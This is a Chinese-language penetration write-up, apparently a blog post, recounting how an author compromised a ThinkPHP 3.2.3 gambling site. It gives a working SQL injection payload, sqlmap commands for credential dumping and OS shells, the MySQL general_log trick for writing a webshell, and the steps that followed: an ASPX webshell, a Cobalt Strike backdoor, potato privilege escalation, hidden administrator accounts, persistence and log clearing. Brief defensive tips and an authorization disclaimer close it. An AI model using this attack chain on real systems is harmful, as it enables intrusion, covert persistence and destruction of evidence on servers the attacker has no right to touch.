对某棋牌站的一次getshell
字数 1448 2025-08-06 08:35:27

ThinkPHP 3.2.3 棋牌站渗透实战教学文档

1. 目标侦察与信息收集

1.1 初始发现

  • 通过FOFA搜索引擎扫描C段时发现目标站点
  • 目标为博彩类(Betting & Casino)活动页面
  • 站点架构:ThinkPHP 3.2.3二次开发版本

1.2 环境信息确认

  • 操作系统:Windows
  • Web框架:ThinkPHP v3.2.3
  • 调试模式:开启(重要漏洞利用点)
  • 网站绝对路径:D:\web1\abc.com\wwlsoeprsueords\
  • 辅助服务:999端口运行phpMyAdmin

2. 漏洞探测与利用

2.1 ThinkPHP日志文件探测

  • 标准日志路径:/addons/Runtime/Logs/admin/
  • 可能的日志命名格式:时间戳-年_月_日.log(如:1606510976-20_11_28.log
  • 探测结果:未发现标准日志文件

2.2 SQL注入漏洞利用

  1. 注入点定位

    • 活动推广页的申请进度查询功能
    • 使用Burp Suite抓包分析
  2. 验证注入

    username=123' and (extractvalue(1,concat(0x7e,(select user()),0x7e))))--+&id=13
    
    • 确认存在注入且为root权限
  3. SQLMap自动化利用

    python3 sqlmap.py -r 1.txt --random-agent --dbms=mysql --os-shell
    
    • 注意:直接--os-shell可能失败,需尝试其他方法

2.3 phpMyAdmin利用

  1. 数据库凭据枚举

    python3 sqlmap.py –r 1.txt --string="Surname" --users --password
    
    • 获取到root账号(登录失败)和dog1账号(登录成功)
  2. 写Shell限制分析

    SHOW GLOBAL VARIABLES LIKE "%secure%";
    
    • secure_file_priv值为null,限制导入/导出操作
  3. 日志文件写Shell技术

    SHOW VARIABLES LIKE '%general%';
    SET global general_log = "ON";
    SET global general_log_file='D:/web1/abc.com/robots.php';
    
    • 在SQL查询处执行PHP一句话木马
    • 通过蚁剑连接robots.php获取WebShell

3. 权限提升与持久化

3.1 绕过函数限制

  • 发现PHP环境禁用大量危险函数
  • 解决方案:上传ASPX类型WebShell(使用冰蝎3的aspx马)

3.2 系统信息收集

  1. 进程与服务检查

    tasklist /svc
    
    • 确认无杀毒软件运行
  2. Cobalt Strike上线

    • 生成exe后门上传至根目录并执行
    • 使用烂土豆提权至system权限

3.3 RDP服务配置

  1. 检查远程桌面状态

    REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
    
    • 返回值:1表示关闭,0表示开启
  2. 查看RDP端口

    REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber
    

3.4 持久化技术

  1. 创建隐藏用户

    net user username password /add
    net localgroup administrators username /add
    
    • 使用特殊字符创建不易发现的账户
  2. 自启动项设置

    • 通过注册表或启动文件夹添加持久化后门
  3. 日志清理

    • 清除系统日志、Web日志等操作痕迹

4. 关键注意事项

  1. ThinkPHP特定版本特征

    • 3.2.3版本常见于二次开发系统
    • 调试模式开启会增加信息泄露风险
  2. phpMyAdmin利用限制

    • 高版本phpMyAdmin可能有更强的防护
    • 爆破成功率与版本相关
  3. Windows环境特殊点

    • IIS服务器可能同时支持ASP/ASPX
    • 路径使用反斜杠需注意转义
  4. 防护绕过技巧

    • 当PHP函数受限时,考虑其他脚本类型WebShell
    • 日志文件写入是常见绕过文件上传限制的方法

5. 防御建议

  1. 针对ThinkPHP站点

    • 关闭调试模式
    • 及时更新框架版本
    • 限制Runtime目录访问
  2. 数据库安全

    • 设置复杂密码
    • 限制远程访问
    • 配置secure_file_priv
  3. 服务器加固

    • 禁用不必要的脚本支持
    • 安装杀毒软件
    • 定期审计账户和启动项
  4. 日志监控

    • 监控general_log设置变更
    • 审计异常文件创建行为

本教学文档详细记录了从信息收集到最终控制的全过程,重点突出了ThinkPHP特定版本的利用技巧和Windows环境下的权限提升方法。实际渗透测试中,请确保获得合法授权,并遵守相关法律法规。

ThinkPHP 3.2.3 棋牌站渗透实战教学文档 1. 目标侦察与信息收集 1.1 初始发现 通过FOFA搜索引擎扫描C段时发现目标站点 目标为博彩类(Betting & Casino)活动页面 站点架构:ThinkPHP 3.2.3二次开发版本 1.2 环境信息确认 操作系统:Windows Web框架:ThinkPHP v3.2.3 调试模式:开启(重要漏洞利用点) 网站绝对路径: D:\web1\abc.com\wwlsoeprsueords\ 辅助服务:999端口运行phpMyAdmin 2. 漏洞探测与利用 2.1 ThinkPHP日志文件探测 标准日志路径: /addons/Runtime/Logs/admin/ 可能的日志命名格式: 时间戳-年_月_日.log (如: 1606510976-20_11_28.log ) 探测结果:未发现标准日志文件 2.2 SQL注入漏洞利用 注入点定位 : 活动推广页的申请进度查询功能 使用Burp Suite抓包分析 验证注入 : 确认存在注入且为root权限 SQLMap自动化利用 : 注意:直接 --os-shell 可能失败,需尝试其他方法 2.3 phpMyAdmin利用 数据库凭据枚举 : 获取到root账号(登录失败)和dog1账号(登录成功) 写Shell限制分析 : secure_file_priv 值为null,限制导入/导出操作 日志文件写Shell技术 : 在SQL查询处执行PHP一句话木马 通过蚁剑连接 robots.php 获取WebShell 3. 权限提升与持久化 3.1 绕过函数限制 发现PHP环境禁用大量危险函数 解决方案:上传ASPX类型WebShell(使用冰蝎3的aspx马) 3.2 系统信息收集 进程与服务检查 : 确认无杀毒软件运行 Cobalt Strike上线 : 生成exe后门上传至根目录并执行 使用烂土豆提权至system权限 3.3 RDP服务配置 检查远程桌面状态 : 返回值:1表示关闭,0表示开启 查看RDP端口 : 3.4 持久化技术 创建隐藏用户 : 使用特殊字符创建不易发现的账户 自启动项设置 : 通过注册表或启动文件夹添加持久化后门 日志清理 : 清除系统日志、Web日志等操作痕迹 4. 关键注意事项 ThinkPHP特定版本特征 : 3.2.3版本常见于二次开发系统 调试模式开启会增加信息泄露风险 phpMyAdmin利用限制 : 高版本phpMyAdmin可能有更强的防护 爆破成功率与版本相关 Windows环境特殊点 : IIS服务器可能同时支持ASP/ASPX 路径使用反斜杠需注意转义 防护绕过技巧 : 当PHP函数受限时,考虑其他脚本类型WebShell 日志文件写入是常见绕过文件上传限制的方法 5. 防御建议 针对ThinkPHP站点 : 关闭调试模式 及时更新框架版本 限制Runtime目录访问 数据库安全 : 设置复杂密码 限制远程访问 配置 secure_file_priv 服务器加固 : 禁用不必要的脚本支持 安装杀毒软件 定期审计账户和启动项 日志监控 : 监控general_ log设置变更 审计异常文件创建行为 本教学文档详细记录了从信息收集到最终控制的全过程,重点突出了ThinkPHP特定版本的利用技巧和Windows环境下的权限提升方法。实际渗透测试中,请确保获得合法授权,并遵守相关法律法规。